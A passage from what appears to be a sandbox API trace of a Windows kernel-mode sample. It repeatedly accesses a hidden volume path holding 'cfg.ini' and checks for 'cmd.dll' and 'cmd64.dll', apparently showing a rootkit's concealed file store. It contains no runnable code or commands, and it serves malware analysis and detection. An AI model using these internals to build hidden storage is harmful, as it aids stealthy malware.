VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.954] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.954] IdePortDispatch () returned 0x103 [0120.954] KeWaitForMutexObject () returned 0x0 [0120.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.955] KeLeaveCriticalRegion () [0120.955] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.955] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.955] KeEnterCriticalRegion () [0120.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352e000 [0120.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.955] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.955] IdePortDispatch () returned 0x103 [0120.955] KeWaitForMutexObject () returned 0x0 [0120.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.955] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.955] IdePortDispatch () returned 0x103 [0120.955] KeWaitForMutexObject () returned 0x0 [0120.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.955] KeLeaveCriticalRegion () [0120.955] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.956] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.956] KeEnterCriticalRegion () [0120.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.956] KeLeaveCriticalRegion () [0120.956] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.956] KeEnterCriticalRegion () [0120.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.956] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.956] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.956] KeLeaveCriticalRegion () [0120.956] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.956] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.956] KeEnterCriticalRegion () [0120.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.956] ExFreePoolWithTag (P=0xfffffa8003bbe6a0, Tag=0x0) [0120.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.956] KeLeaveCriticalRegion () [0120.956] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.956] ReleaseMutex (hMutex=0xf0) returned 1 [0120.956] Sleep (dwMilliseconds=0x124f80) [0120.970] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.970] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.971] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.971] KeEnterCriticalRegion () [0120.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.971] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.971] IdePortDispatch () returned 0x103 [0120.971] KeWaitForMutexObject () returned 0x0 [0120.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.971] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.971] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.971] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.971] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.971] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.971] KeLeaveCriticalRegion () [0120.971] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.971] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.971] KeEnterCriticalRegion () [0120.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.971] KeLeaveCriticalRegion () [0120.971] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.971] KeEnterCriticalRegion () [0120.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.971] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.971] IdePortDispatch () returned 0x103 [0120.971] KeWaitForMutexObject () returned 0x0 [0120.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.972] KeLeaveCriticalRegion () [0120.972] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.972] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.972] KeEnterCriticalRegion () [0120.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003533000 [0120.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.972] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.972] IdePortDispatch () returned 0x103 [0120.972] KeWaitForMutexObject () returned 0x0 [0120.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.972] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.972] IdePortDispatch () returned 0x103 [0120.972] KeWaitForMutexObject () returned 0x0 [0120.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.972] KeLeaveCriticalRegion () [0120.972] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.973] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.973] KeEnterCriticalRegion () [0120.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.973] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.973] KeLeaveCriticalRegion () [0120.973] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.973] KeEnterCriticalRegion () [0120.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.973] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.973] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.973] KeLeaveCriticalRegion () [0120.973] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.973] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.973] KeEnterCriticalRegion () [0120.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.973] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.973] KeLeaveCriticalRegion () [0120.973] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.973] ReleaseMutex (hMutex=0xf0) returned 1 [0120.973] Sleep (dwMilliseconds=0x124f80) [0120.987] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.987] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.987] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.987] KeEnterCriticalRegion () [0120.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.987] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.987] IdePortDispatch () returned 0x103 [0120.988] KeWaitForMutexObject () returned 0x0 [0120.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.988] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.988] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.988] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.988] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.988] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f310 [0120.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.988] KeLeaveCriticalRegion () [0120.988] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.988] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.988] KeEnterCriticalRegion () [0120.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.988] KeLeaveCriticalRegion () [0120.988] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.988] KeEnterCriticalRegion () [0120.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.988] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.988] IdePortDispatch () returned 0x103 [0120.988] KeWaitForMutexObject () returned 0x0 [0120.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.988] KeLeaveCriticalRegion () [0120.988] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.989] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.989] KeEnterCriticalRegion () [0120.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003538000 [0120.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.989] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.989] IdePortDispatch () returned 0x103 [0120.989] KeWaitForMutexObject () returned 0x0 [0120.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.989] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.989] IdePortDispatch () returned 0x103 [0120.989] KeWaitForMutexObject () returned 0x0 [0120.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.989] KeLeaveCriticalRegion () [0120.989] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.990] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.990] KeEnterCriticalRegion () [0120.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] KeLeaveCriticalRegion () [0120.990] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.990] KeEnterCriticalRegion () [0120.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.990] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] KeLeaveCriticalRegion () [0120.990] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.990] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.990] KeEnterCriticalRegion () [0120.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] ExFreePoolWithTag (P=0xfffffa8003b9f310, Tag=0x0) [0120.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.990] KeLeaveCriticalRegion () [0120.990] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.990] ReleaseMutex (hMutex=0xf0) returned 1 [0120.990] Sleep (dwMilliseconds=0x124f80) [0121.004] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.005] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.005] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.005] KeEnterCriticalRegion () [0121.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.005] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.005] IdePortDispatch () returned 0x103 [0121.005] KeWaitForMutexObject () returned 0x0 [0121.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.005] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.005] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.005] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.005] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.005] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe6a0 [0121.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.005] KeLeaveCriticalRegion () [0121.005] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.005] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.005] KeEnterCriticalRegion () [0121.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.005] KeLeaveCriticalRegion () [0121.005] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.005] KeEnterCriticalRegion () [0121.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.006] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.006] IdePortDispatch () returned 0x103 [0121.006] KeWaitForMutexObject () returned 0x0 [0121.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.006] KeLeaveCriticalRegion () [0121.006] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.006] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.006] KeEnterCriticalRegion () [0121.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353d000 [0121.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.006] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.006] IdePortDispatch () returned 0x103 [0121.006] KeWaitForMutexObject () returned 0x0 [0121.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.006] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.006] IdePortDispatch () returned 0x103 [0121.006] KeWaitForMutexObject () returned 0x0 [0121.007] 